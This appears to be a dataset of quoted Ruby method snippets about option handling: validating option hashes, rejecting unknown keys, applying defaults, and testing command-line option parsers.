"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n # skip_test: false,\n # skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_bundle: false,\n skip_git: false,\n skip_system_test: false,\n skip_test: false,\n skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def validate_options!(_options)\n raise(NotImplemetedError, \"subclass responsability\")\n end",
"def test_option_merger_class_method\n assert_equal ActiveSupport::OptionMerger, ActiveSupport::OptionMerger.new(\"\", \"\").class\n end",
"def validate_options(options, attrs)\n matched_attrs = options.keys & attrs\n if matched_attrs.to_set != attrs.to_set\n raise HelpScoutDocs::Error::OptionsError.new(\"#{(attrs - matched_attrs).join(\", \")} required options are missing\")\n end\n end",
"def test_option_required\n\n # All options are optional by default\n assert(!Option.new(nil, nil).required)\n assert(!Option.new(\"-h|--help\", nil).required)\n\n # All options may be required\n assert(Option.new(nil, nil, required:true).required)\n assert(Option.new(\"-h|--help\", nil, required:true).required)\n end",
"def assert_valid_options\n valid_options = {\n skip_gemfile: false,\n skip_git: false,\n skip_test_unit: false,\n edge: false\n }\n valid_options.each do |key, expected|\n next unless options.key?(key)\n actual = options[key]\n unless actual == expected\n fail Rails::Generators::Error, \"Unsupported option: #{key}=#{actual}\"\n end\n end\nend",
"def expect_not_to_run(klass, opts = {})\n alias_new_method(klass)\n with = service_parse_with_option(opts)\n\n expect(klass).to_not receive(:new).with(*with)\n end",
"def additional_spec_options_collection\n args.collect do |key, value|\n case key.to_s\n when \"minimum\"\n \"is_at_least(#{value})\"\n when \"maximum\"\n \"is_at_most(#{value})\"\n when \"in\", \"within\"\n \"is_at_least(#{value.first}).is_at_most(#{value.last})\"\n when \"is\"\n \"is_equal_to(#{value})\"\n else\n raise(ArgumentError, \"Unknown property: #{key}\")\n end\n end\n end",
"def option(*args, &block)\n #p [:option, args, :optional, optional?]\n key_values, args = args.partition{ |x| x.kind_of?(Hash)}\n key_values = key_values.inject({ }){ |hash, kv| hash.merge(kv)}\n\n errors = []\n\n # handle optional/required flipflop\n if optional?\n required = { :default => nil }\n if key_values.delete(:required)\n if key_values.key?(:optional)\n errors << \"Can't specify both :required and :optional\"\n end\n if key_values.key?(:default)\n errors << \"Can't specify both :required and :default\"\n end\n required = { }\n elsif key_values.delete(:optional) && !key_values.key?(:default)\n required = { :default => nil }\n end\n else\n key_values.delete(:required)\n required = { }\n end\n args = [{ :using => Option }.merge(required).merge(key_values), *args]\n da = has(*args, &block)\n if errors.size > 0\n raise ArgumentError, \"#{da.name}: #{errors.join(', ')}\", [caller[-1]]\n end\n da.instance_eval do\n #p [:checking_values, values, values.class]\n if da.values.kind_of?(Range)\n must \"be in range #{da.values}\" do |s|\n da.values.include?(s)\n end\n elsif da.values.respond_to?(:size) && da.values.size > 0\n must \"be one of #{da.values.join(', ')}\" do |s|\n da.values.include?(s)\n end\n end\n if da.match\n must \"match pattern #{da.match.inspect}\" do |s|\n #p [:matching, s, da.match.inspect]\n s.to_s =~ da.match\n end\n end\n end\n da\n end",
"def require_opts(*keys)\n keys.each {|k| raise VeritableError.new(\"Error initializing object -- must provide #{k}\") unless @opts.has_key?(k)}\n end",
"def options_for_class(klass)\n DoesKeyValue.log(\"State: Querying options_for_class for class:#{klass.to_s}\")\n @classes[klass.to_s] rescue {}\n end",
"def initialize(options = {})\n (options.keys - DEFAULTS.keys - EXTRA_OPTIONS)[0..1].each do |missing|\n raise ArgumentError, \"Invalid option: #{missing}\"\n end\n @options = options\n end",
"def initialize(**opts)\n opts.select { |option, _| self.class.requirements.include?(option) }.each do |accessor, value|\n instance_variable_set(\"@#{accessor}\", value)\n opts.delete(accessor)\n end\n set_optional_data(opts)\n end",
"def should_deny_values(options)\n klass = self.name.gsub(/Test$/, '').constantize\n\n context \"#{klass}\" do\n options.each_pair do |attribute, values|\n [*values].each do |value|\n display_value = value.class == NilClass ? \"nil\" : \"\\\"#{value}\\\"\"\n \n should \"not allow #{attribute} to be #{display_value}\" do\n instance = get_instance_of(klass)\n instance.send(\"#{attribute}=\", value)\n assert !instance.valid?, \n \"Expected #{klass} to be invalid when #{attribute} is set to #{display_value}\"\n assert instance.errors.on(attribute.to_sym), \n \"Expected errors on #{attribute} when set to #{display_value}\"\n end\n end\n end\n end\n end",
"def sanitize_opts(options)\n options[:required] ||= false\n options[:class] ||= \"\"\n options[:value] = options[:default] unless options[:default].nil?\n # add required class if require is passed as true\n options[:class] = options[:required] ? (options[:class] << \" required\") : options[:class]\n opts = %w(label hint default checked unchecked required)\n opts.each {|o| options.delete o.to_sym}\n return options\n end",
"def validate_params(params, klass)\n raise(ArgumentError, \"Options cannot be \" + params.class.name) unless params.is_a?(klass) || params.is_a?(Hash) || \n (ASSOCIATED_PARAMS[klass] && ASSOCIATED_PARAMS[klass].keys.include?(params.class))\n params.is_a?(Glassfrog::Base) ? params.hashify : params\n end",
"def test_option_type\n\n # Test defaults for both option types\n #----------------------------------------------------\n # Positional option with no type defaults to String\n assert_equal(String, Option.new(nil, nil).type)\n # Named option with no type defaults to FalseClass\n assert_equal(FalseClass, Option.new(\"--help\", nil).type)\n\n # Test valid specified types\n #----------------------------------------------------\n assert_equal(FalseClass, Option.new('--help', nil, type:FalseClass).type)\n assert_equal(FalseClass, Option.new('--help', nil, type:false).type)\n assert_equal(TrueClass, Option.new('--help', nil, type:TrueClass).type)\n assert_equal(TrueClass, Option.new('--help', nil, type:true).type)\n assert_equal(String, Option.new(nil, nil, type:String).type)\n assert_equal(Integer, Option.new(nil, nil, type:Integer).type)\n assert_equal(Array, Option.new(nil, nil, type:Array).type)\n\n # Invalid type\n $stdout.stub(:write, nil){\n assert_raises(SystemExit){Option.new(nil, nil, type:Hash)}\n }\n\n # Type not set for named option that is expecting an incoming value\n capture = Sys.capture{ assert_raises(SystemExit){ Option.new(\"-f|--file=HINT\", \"desc\")}}\n assert_equal(\"Error: option type must be set!\\n\", capture.stdout.strip_color)\n end",
"def valid_options\n @valid_options ||= defined?(self.class::VALID_OPTIONS) ? self.class::VALID_OPTIONS : {}\n end",
"def verify_options_hook; end",
"def update_options_with_class!(options, klass)\n options[:class] ||= ''\n options[:class] << \" #{klass}\"\n options\n end",
"def options\n Properties[self.class] ||= {}\n return Properties[self.class][:opts] || []\n end",
"def initialize(options={})\n options = Yapper.options.merge(options)\n Configuration::VALID_OPTIONS_KEYS.each do |key|\n send(\"#{key}=\", options[key])\n end\n end",
"def initialize(option=nil, params=nil)\n @option = option\n validate(@option)\n @options = YAML.load_file(\"./config/options/#{@option}.yml\")\n\n ##\n # Condition necessary for rspec tests, it was necessary not to expose sensitive data\n # \n if [\"test_xls\",\n \"test_text_size\",\n \"test_text_count\",\n \"test_params\",\n \"test_params_env\",\n \"test_query_alert\"].include?(@option)\n \n test_options = YAML.load_file(\"./config/test.yml\")\n test_database_options = test_options['database']\n test_mail_options = test_options['mail']['basic_test']\n\n @options[\"database\"] = {\n \"adapter\" => test_database_options['adapter'],\n \"host\" => test_database_options['host'],\n \"port\" => test_database_options['port'],\n \"username\" => test_database_options['username'],\n \"password\" => test_database_options['password'],\n \"database\" => test_database_options['database']\n }\n\n @options[\"email\"][\"from\"] = test_mail_options['from']\n @options[\"email\"][\"to\"] = test_mail_options['to']\n end\n\n\n @query_options = @options['query']\n @params = params\n end",
"def validate_options(options)\n unless options.kind_of?(Hash)\n raise ArgumentError, \"You must pass a Hash, not: #{options.inspect}\"\n end\n\n options.assert_valid_keys(:visibility, :prefix, :delegate, :unknown_fields, :compress, :header)\n\n unless [ nil, :private, :public ].include?(options[:visibility])\n raise ArgumentError, \"Invalid value for :visibility: #{options[:visibility.inspect]}\"\n end\n\n unless [ :delete, :preserve, nil ].include?(options[:unknown_fields])\n raise ArgumentError, \"Invalid value for :unknown_fields: #{options[:unknown_fields].inspect}\"\n end\n\n unless [ true, false, nil ].include?(options[:compress]) || options[:compress].kind_of?(Integer)\n raise ArgumentError, \"Invalid value for :compress: #{options[:compress].inspect}\"\n end\n\n unless [ true, false, nil ].include?(options[:header])\n raise ArgumentError, \"Invalid value for :header: #{options[:header].inspect}\"\n end\n\n case options[:prefix]\n when nil then nil\n when String, Symbol then nil\n else raise ArgumentError, \"Invalid value for :prefix: #{options[:prefix].inspect}\"\n end\n\n unless [ nil, true, false, :private, :public ].include?(options[:delegate])\n raise ArgumentError, \"Invalid value for :delegate: #{options[:delegate].inspect}\"\n end\n\n if options[:visibility] == :private && options[:delegate] == :public\n raise ArgumentError, \"You can't have public delegation if methods in the flex column are private; this makes no sense, as methods in the model class would have *greater* visibility than methods on the flex column itself\"\n end\n end",
"def initialize(opts={})\n (rec = lambda do |k|\n begin\n k.const_get(:OPTIONS).each do |key, v|\n opts[key] ||= v\n end\n rescue\n ensure\n rec.call(k.superclass) if k.inherits_from? Parsel\n end\n end).call(self.class)\n\n opts.each do |k, v|\n next if VERBOTEN.member? k\n\n instance_variable_set \"@#{ k }\".intern, v\n (class << self; self; end).instance_eval {\n attr_accessor k\n }\n end\n\n capture(opts[:capture]) if opts[:capture]\n end",
"def initialize_options\n @options = @spec.options.inject({}) do |options, (name, params)|\n options[name] = Option.new\n options[name].enabled = false\n options[name].description = params[\"description\"] || params\n options[name].files = params[\"files\"] || {}\n options\n end.to_struct if @spec.options\n end",
"def allowed_options\n { :test =>\n { :type => String ,\n :value => \"test\" }\n }\n end",
"def initialize(options = {})\n self.class.validate_options(options)\n end",
"def options_with_specifications\n @options_with_specs ||= options.select{|x| x.has_input?}.sort_by{|x| x.option_set.name}\n end",
"def update_options_with_class!(options, klass)\n @template.update_options_with_class!(options, klass)\n end",
"def find_class_options_for_query_with_and(query, options={})\n options\n end",
"def initialize(opt_defs=[])\n\t\t# Class-wide properties\n\t\t@cluster_ok = true # Cluster allowed\n\t\t@last_only = true # Argument only for last cluster option\n\t\t@space_ok = true # Space between option and argument ok\n\t\t@get_all = false # Evaluation takes place for entire ARGV\n\t\t@ignore_unknown = false # Unknown options are silently removed\n\t\t@gnuish = false # Single-letter options only in cluster ok\n\t\t@endopts = %w(--) # Evaluation ends after one of these words\n\t\t@cluster_prefixes = %w(-) # these prefixes introduce clustered options\n\t\t@plain_option = BoolOption # Standard option without argument\n\t\t@value_option = ArgumentOption # Standard option with argument\n\n\t\t# Options-local properties\n\t\t@case_sensitive = true # Upper/lower case is distinguished\n\t\t@abbrev_ok = true # Abbreviations allowed\n\t\t@prefixes = %w(-- -) # these prefixes introduce options\n\t\t@separators = %w(=) # these separators separate an option from its value\n\t\t@cluster_separators = ['=', ''] \n\n\t\tdefaults\n\t\t@special_class = get_special_classes # Hash of all special classes\n\t\t@option = Hash.new\n\t\t@failure = nil\n\t\tadd opt_defs\n\tend",
"def valid_opts\n true\n end",
"def validate_options\n required_keys = %w(endpoint user password\n container_name agent ntp blobstore)\n missing_keys = []\n required_keys.each do |key|\n unless @options.has_key?(key)\n missing_keys << key\n end\n end\n message = \"Missing configuration parameters: #{missing_keys}\"\n raise ArgumentError, message unless missing_keys.empty?\n end",
"def setOptions!(options)\n return unless options\n return unless matches = options.match(/(\\[(.*?)\\])?(.*)/)\n\n if matches[2]\n matches[2].split(\",\").each do |element|\n key, val = element.split(\"=\")\n case key\n when 'tpl', 'template'\n @template = val\n when 'bg', 'background'\n @background = val\n # For legacy reasons, the options below may also be specified in classes.\n # Currently that takes priority.\n # @todo: better define the difference between options and classes.\n when 'form'\n @form = val\n when 'id'\n @id = val\n when 'transition'\n @transition = val\n else\n Showoff::Logger.warn \"Unknown slide option: #{key}=#{val}\"\n end\n end\n end\n\n if matches[3]\n @classes = matches[3].split\n end\n end",
"def required_options\n processed_klass.__options__.each.reject(&:has_default_value?).map(&:name)\n end",
"def test_option_key_composed_of_short_long_hint\n\n # Mal-formed named options\n #---------------------------------------------------------------------------\n $stdout.stub(:write, nil){\n\n # No long hand given, long hand is required\n assert_raises(SystemExit){Option.new(\"-s\", nil)}\n assert_raises(SystemExit){Option.new(\"-s=COMPONENTS\", nil)}\n\n # HINT can not include equal symbol\n assert_raises(SystemExit){Option.new(\"--skip=FOO=BAR\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|--skip=FOO=BAR\", nil)}\n\n # Long hand form is invalid\n assert_raises(SystemExit){Option.new(\"--skip|\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|skip\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|=HINT\", nil)}\n assert_raises(SystemExit){Option.new(\"-s|--skip|\", nil)}\n\n # Short hand form is invalid\n assert_raises(SystemExit){Option.new(\"--skip|-s\", nil)}\n assert_raises(SystemExit){Option.new(\"-s, --skip=FOO\", nil)}\n }\n\n # Well-formed named options\n #---------------------------------------------------------------------------\n # long hand only, simple name, flag\n opt = Option.new(\"--skip\", nil)\n assert_nil(opt.hint)\n assert_equal(\"--skip\", opt.key)\n assert_equal(\"--skip\", opt.long)\n assert_nil(opt.short)\n\n # long hand only with dash in name, flag\n opt = Option.new(\"--skip-foo\", nil)\n assert_nil(opt.hint)\n assert_equal(\"--skip-foo\", opt.key)\n assert_equal(\"--skip-foo\", opt.long)\n assert_nil(opt.short)\n\n # long hand only with incoming String value\n opt = Option.new(\"--skip=HINT\", nil, type:String)\n assert_equal(\"HINT\", opt.hint)\n assert_equal(\"--skip\", opt.long)\n assert_nil(opt.short)\n\n # short/long hand simple name, flag\n opt = Option.new(\"-s|--skip\", nil)\n assert_nil(opt.hint)\n assert_equal(\"-s|--skip\", opt.key)\n assert_equal(\"-s\", opt.short)\n assert_equal(\"--skip\", opt.long)\n\n # short/long hand with incoming String value\n opt = Option.new(\"-s|--skip=HINT\", nil, type:String)\n assert_equal(\"HINT\", opt.hint)\n assert_equal(\"-s|--skip=HINT\", opt.key)\n assert_equal(\"-s\", opt.short)\n assert_equal(\"--skip\", opt.long)\n end",
"def initialize(options={})\n options = Subtledata.options.merge(options)\n Configuration::VALID_OPTIONS_KEYS.each do |key|\n send(\"#{key}=\", options[key])\n end\n end",
"def actual_options?(options)\n return false if options.nil?\n\n if (options.is_a?(String) || options.is_a?(Hash)) && !options.size.zero?\n true\n else\n false\n end\n end",
"def initialize(options)\n @hash = options\n validate\n end",
"def verify_config(opts)\n opts = check_params(opts,[:instance_format,:data])\n super(opts)\n end",
"def options\n map = Config.class_variables.map do |key|\n [key.to_s.tr('@', '').to_sym, class_variable_get(:\"#{key}\")]\n end\n Hash[map]\n end",
"def validate_options(options)\n options.assert_valid_keys(:visibility, :null, :enum, :limit, :json)\n\n case options[:visibility]\n when nil then nil\n when :public then nil\n when :private then nil\n else raise ArgumentError, \"Invalid value for :visibility: #{options[:visibility].inspect}\"\n end\n\n case options[:json]\n when nil, String, Symbol then nil\n else raise ArgumentError, \"Invalid value for :json: #{options[:json].inspect}\"\n end\n\n unless [ nil, true, false ].include?(options[:null])\n raise ArgumentError, \"Invalid value for :null: #{options[:null].inspect}\"\n end\n end",
"def initialize(options)\n options.symbolize_keys.each do |key, value|\n raise ArgumentError, \"Invalid key '#{key}'\" unless VALID_KEYS.include?(key)\n instance_variable_set(\"@#{key}\", value)\n end\n\n %i[name active_directory_authority resource_manager_url].each do |key|\n unless instance_variable_get(\"@#{key}\")\n raise ArgumentError, \"Mandatory argument '#{key}' not set\"\n end\n end\n end",
"def class_options_help(shell, groups = {}) #:nodoc:\n get_options_from_invocations(groups, class_options) do |klass|\n klass.send(:get_options_from_invocations, groups, class_options)\n end\n super(shell, groups)\n end",
"def with(options)\n @options_collectors << self.class.new(options)\n @options_collectors.last.requirements = self.requirements.dup # dup important so my reqs don't change\n return @options_collectors.last\n end",
"def validate_options(options)\n raise TypeError.new(\"provided options must be a Hash\") unless options.is_a?(Hash)\n check_for_illegal_keys!(options)\n options = set_deduct_call_time_based_on_metric(DEFAULT_SETTINGS.merge(options))\n check_for_push_scope_and_metric(options)\n options\n end",
"def test_type\n assert_instance_of Lib::DHCP::Option35, @option\n end",
"def class_name\r\n assert_exists\r\n option_class_name\r\n end",
"def find_class_options_for_query_with_or(query, options={})\n options\n end",
"def app_class_options(defaults = {})\n APP_DEFAULTS.keys.each do |k|\n class_option_for(k, defaults[k])\n end\n end",
"def should_have(type, opts={})\n raise ArgumentError, \":named is required\" unless opts.has_key? :named\n opts = {:value => '', :within => page}.merge(opts)\n\n name_attr = \"[name='#{opts[:named]}']\"\n value_attr = opts[:value].present? ? \"[value='#{opts[:value]}']\" : \"\"\n\n if type == :text_field\n opts[:within].should have_selector(\"input#{name_attr}#{value_attr}\")\n elsif type == :select\n if opts[:value].present?\n opts[:within].should have_selector(\"select#{name_attr} option#{value_attr}[selected='selected']\")\n else\n opts[:within].should_not have_selector(\"select#{name_attr} option[selected='selected']\")\n end\n elsif type == :radio\n if opts[:value].present?\n opts[:within].should have_selector(\"input[type='radio']#{name_attr}#{value_attr}[checked='checked']\")\n else\n opts[:within].should_not have_selector(\"input[type='radio']#{name_attr}[checked='checked']\")\n end\n else\n raise ArgumentError, \"Unknown field type: #{type}\"\n end\n end",
"def verify_options_settings(fieldname, remove_options, change_options, new_options, default_options)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n wait.until { @browser.find_element(:xpath => \"//label[contains(text(), '#{fieldname}')]\") }\n class_name = @browser.find_element(:xpath => \"//label[contains(text(), '#{fieldname}')]/following-sibling::*[1]\").attribute(\"class\")\n if class_name == \"form-select\"\n removed_options, added_options = configure_options_test(remove_options, change_options, new_options)\n removed_options.each do |rem|\n @browser.find_elements(:xpath => \"//option[text()='#{rem}']\").should have(0).items\n end\n added_options.each do |new|\n @browser.find_elements(:xpath => \"//option[text()='#{new}']\").should have_at_least(1).items\n end\n Log.logger.info \"default_options: #{default_options.inspect}\"\n @browser.find_element(:xpath => \"//option[text()='#{default_options[0]}']\").should be_selected\n elsif class_name == \"form-checkboxes\" || class_name == \"form-radios\"\n removed_options, added_options = configure_options_test(remove_options, change_options, new_options)\n removed_options.each do |rem|\n @browser.find_elements(:xpath => \"//label[contains(text(), '#{rem}')]\").should have(0).items\n end\n added_options.each do |new|\n @browser.find_elements(:xpath => \"//label[contains(text(), '#{new}')]\").should have_at_least(1).items\n end\n default_options.each do |default|\n @browser.find_elements(:xpath => \"//label[contains(text(), '#{default}')]/../input[@checked = 'checked']\").should have_at_least(1).items\n end\n else\n Log.logger.info(\"Following class '#{class_name}' is not a part of test for Webform.\")\n end\n end",
"def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"def validate_options\n required_keys = {\n \"aws\" => [\"default_key_name\", \"max_retries\"],\n \"registry\" => [\"endpoint\", \"user\", \"password\"],\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if (!options.has_key?(key) || !options[key].has_key?(value))\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n\n if !options['aws'].has_key?('region') && ! (options['aws'].has_key?('ec2_endpoint') && options['aws'].has_key?('elb_endpoint'))\n raise ArgumentError, \"missing configuration parameters > aws:region, or aws:ec2_endpoint and aws:elb_endpoint\"\n end\n end",
"def common_options(opts); end",
"def test_creation_of(options)\n\t\traise NotTheRightOptions.new('Options must include a record, a fixture, and an array of attributes') if (options.keys | [:record, :fixture, :attributes]).size > options.size\n\t\tassert_kind_of options[:model], options[:record] if options[:model]\n\t\tfor attr in options[:attributes]\n\t\t\tassert_equal options[:record][attr], options[:fixture].send(attr), \"Error matching #{attr}\"\n\t\tend\n\tend",
"def validate_public_options(options)\n options.each do |k, _v|\n case k\n when :controller_info,\n /enabled_for_/,\n :enabled,\n :whodunnit\n next\n else\n raise InvalidOption, \"Invalid option: #{k}\"\n end\n end\n end",
"def initialize(options = {})\n # check that options include all required values\n self.required_attributes.each do |req_attr|\n if not options.keys.include? req_attr\n raise ArgumentError.new(\"#{req_attr} is required for initialization\")\n end\n end\n # attempt to store all given values\n @stored_values = {}\n options.each do |attr_name, attr_value|\n # we are simply invoking the assignment operator on\n # self.attr_name even thought it looks a little convoluted\n self.method(\"#{attr_name}=\").call(attr_value)\n end\n end",
"def options\n validate_or_get_results :options\n end",
"def initialize(options={})\n unless options.kind_of?(Hash)\n raise ArgumentError, \"Options hash required.\"\n end\n end",
"def instance_options(default_options)\n initialize_default_options(default_options)\n set_instance_options(@options)\n end",
"def get_options_from_invocations(group_options, base_options) #:nodoc: # rubocop:disable MethodLength\n invocations.each do |name, from_option|\n value = if from_option\n option = class_options[name]\n option.type == :boolean ? name : option.default\n else\n name\n end\n next unless value\n\n klass, _ = prepare_for_invocation(name, value)\n next unless klass && klass.respond_to?(:class_options)\n\n value = value.to_s\n human_name = value.respond_to?(:classify) ? value.classify : value\n\n group_options[human_name] ||= []\n group_options[human_name] += klass.class_options.values.select do |class_option|\n base_options[class_option.name.to_sym].nil? && class_option.group.nil? &&\n !group_options.values.flatten.any? { |i| i.name == class_option.name }\n end\n\n yield klass if block_given?\n end\n end",
"def instance_options(opts)\n i_opts = dsl_options.merge(opts)\n # i_opts = SshInstance.default_options.merge(i_opts)\n # i_opts.choose{|k,v| SshInstance.default_options.keys.include?(k)}\n end",
"def test_options\n c = cli\n assert_equal(fixtures['default_words'], c.options)\n end",
"def select_instances(options)\n instances_by_role(options.keys).select do |inst|\n # get the value of the string/symbol key that matches without losing nil/false values\n val = options.fetch(inst.role.to_sym) { options.fetch(inst.role.to_s, false) }\n\n case val\n when true, false then val\n when inst.name then true\n when nil, '' then [nil, ''].include?(inst.name)\n when Array then val.include?(inst.name)\n else false\n end\n end\n end",
"def verify_options_hook=(_arg0); end",
"def assert_known_attributes(klass, attribute_hash); end",
"def extract_instance_options(prefix, options)\n acceptable_keys = ['sid', 'thnum', 'bnum', 'apow', 'fpow', 'ncnum', 'xmsiz', 'opts']\n keys = options.keys.select { |key| key.to_s.starts_with? prefix }\n\n keys.inject({}) do |hash, key|\n real_key = key.to_s.gsub(/^#{prefix}/, '')\n hash[real_key.to_sym] = options[key] if acceptable_keys.include? real_key\n hash\n end\n end",
"def validate_options; end",
"def set_options(opts)\n if not opts.nil?\n @options[\"min_tokens\"] = opts[\"min_tokens\"] if not opts[\"min_tokens\"].nil?\n @options[\"max_tokens\"] = opts[\"max_tokens\"] if not opts[\"max_tokens\"].nil?\n @options[\"matching_method\"] = opts[\"matching_method\"] if not opts[\"matching_method\"].nil?\n @options[\"threshold\"] = opts[\"threshold\"] if not opts[\"threshold\"].nil?\n @options[\"top_n\"] = opts[\"top_n\"] if not opts[\"top_n\"].nil?\n end\n end",
"def find_options\n options = {}\n\n SINGLE_VALUE_METHODS.each do |m|\n value = send(\"#{m}_value\") and options[m.to_sym] = value\n end\n\n MULTI_VALUE_METHODS.each do |m|\n values = send(\"#{m}_values\") and values.any? and options[m.to_sym] = values\n end\n\n options.merge(@extra_finder_options)\n end",
"def initialize(options)\n @classes = options[:classes]\n super\n end",
"def expect cl\n @expected_class = cl\n end",
"def klass_option_obj(klass, option_obj)\n return option_obj if option_obj.instance_of?(klass)\n option_obj ||= {} # if nil, makes it empty hash\n return klass.send( :new, option_obj )\n end",
"def vash_valid_key?(x); self.class.option_name?(x); end",
"def find_class_options_for_query_with_and(query, options={})\n find_options_for_visible(options)\n end",
"def setup_options(options = T.unsafe(nil)); end",
"def test_check_allows_parameters\n file = Puppet::Type.type(:file)\n klass = file.attrclass(:check)\n\n resource = file.new(:path => tempfile)\n inst = klass.new(:resource => resource)\n\n {:property => [:owner, :group], :parameter => [:ignore, :recurse], :metaparam => [:require, :subscribe]}.each do |attrtype, attrs|\n assert_nothing_raised(\"Could not set check to a single #{attrtype} value\") do\n inst.value = attrs[0]\n end\n\n if attrtype == :property\n assert(resource.property(attrs[0]), \"Check did not create property instance during single check\")\n end\n assert_nothing_raised(\"Could not set check to multiple #{attrtype} values\") do\n inst.value = attrs\n end\n if attrtype == :property\n assert(resource.property(attrs[1]), \"Check did not create property instance during multiple check\")\n end\n end\n\n # But make sure actually invalid attributes fail\n assert_raise(Puppet::Error, \":check did not fail on invalid attribute\") do\n inst.value = :nosuchattr\n end\n end",
"def validate_new_options!(opts)\n return Options::Redacted.new unless opts\n if opts[:read_concern]\n # Raise an error for non user-settable options\n if opts[:read_concern][:after_cluster_time]\n raise Mongo::Error::InvalidReadConcern.new(\n 'The after_cluster_time read_concern option cannot be specified by the user'\n )\n end\n\n given_keys = opts[:read_concern].keys.map(&:to_s)\n allowed_keys = ['level']\n invalid_keys = given_keys - allowed_keys\n # Warn that options are invalid but keep it and forward to the server\n unless invalid_keys.empty?\n log_warn(\"Read concern has invalid keys: #{invalid_keys.join(',')}.\")\n end\n end\n\n if server_api = opts[:server_api]\n unless server_api.is_a?(Hash)\n raise ArgumentError, \":server_api value must be a hash: #{server_api}\"\n end\n\n extra_keys = server_api.keys - %w(version strict deprecation_errors)\n unless extra_keys.empty?\n raise ArgumentError, \"Unknown keys under :server_api: #{extra_keys.map(&:inspect).join(', ')}\"\n end\n\n if version = server_api[:version]\n unless VALID_SERVER_API_VERSIONS.include?(version)\n raise ArgumentError, \"Unknown server API version: #{version}\"\n end\n end\n end\n\n Lint.validate_underscore_read_preference(opts[:read])\n Lint.validate_read_concern_option(opts[:read_concern])\n opts.each.inject(Options::Redacted.new) do |_options, (k, v)|\n key = k.to_sym\n if VALID_OPTIONS.include?(key)\n validate_max_min_pool_size!(key, opts)\n validate_max_connecting!(key, opts)\n validate_read!(key, opts)\n if key == :compressors\n compressors = valid_compressors(v)\n\n if compressors.include?('snappy')\n validate_snappy_compression!\n end\n\n if compressors.include?('zstd')\n validate_zstd_compression!\n end\n\n _options[key] = compressors unless compressors.empty?\n elsif key == :srv_max_hosts\n if v && (!v.is_a?(Integer) || v < 0)\n log_warn(\"#{v} is not a valid integer for srv_max_hosts\")\n else\n _options[key] = v\n end\n else\n _options[key] = v\n end\n else\n log_warn(\"Unsupported client option '#{k}'. It will be ignored.\")\n end\n _options\n end\n end",
"def validate_options\n required_keys = {\n # 'azure' => %w(cert_path subscription_id region default_key_name logical_name),\n 'azure' => %w(),\n 'registry' => []\n }\n\n missing_keys = []\n\n required_keys.each_pair do |key, values|\n values.each do |value|\n if !options.has_key?(key) || !options[key].has_key?(value)\n missing_keys << \"#{key}:#{value}\"\n end\n end\n end\n\n raise ArgumentError, \"missing configuration parameters > #{missing_keys.join(', ')}\" unless missing_keys.empty?\n end",
"def instance_info(opts)\n opts = check_params(opts,[:classes])\n super(opts)\n end",
"def initialize(options = {})\n reset_options\n options.each_pair do |key, value|\n send(\"#{key}=\", value) if VALID_OPTIONS_KEYS.include?(key)\n end\n end",
"def initialize **opts\n @options = DEFAULT_OPTIONS.merge opts\n end",
"def options_for_key(klass, key_name)\n DoesKeyValue.log(\"State: Querying options_for_key for class:#{klass.to_s} and key:#{key_name}\")\n key_def = (@keys[klass.to_s] || Array.new).find{|x| x[:name]==key_name.to_sym} || {}\n opts = key_def[:options]\n end",
"def options\n Hash[*VALID_PARAMS_KEYS.map {|key| [key, send(key)] }.flatten]\n end",
"def initialize(opts, defaults = {})\n opts.transform_keys!(&:to_sym)\n @options = defaults.update(opts)\n end",
"def test_getOptions\n testMe = InputProcessor.new\n assert_instance_of Array, testMe.getOptions, \"getOption does not return array class\" \n testMe.getOptions.all? do |x|\n assert(x.size == 2, \"Illegal data #{x.inspect} data size mismatch\")\n assert_kind_of String, x.first, \"First element #{x.first.inspect} is not kind of String\"\n assert_kind_of Fixnum, x.last, \"Last element #{x.last.inspect} is not kind of Fixnum\"\n end \n end",
"def options(opt); end",
"def options(opt); end",
"def method_missing(sym, *args)\n if sym.to_s =~ /\\A(.*)\\?\\z/ && options.include?($1.to_sym) && (options[$1.to_sym].is_a?(TrueClass) || options[$1.to_sym].is_a?(FalseClass))\n options[$1.to_sym]\n elsif sym.to_s =~ /\\A(.*)\\z/ && options.include?($1.to_sym) \n options[$1.to_sym]\n else\n false\n end\n end",
"def initialize(options=nil, &block)\n options ||= {}\n\n @checks = {}\n\n yield(self) if block_given?\n end",
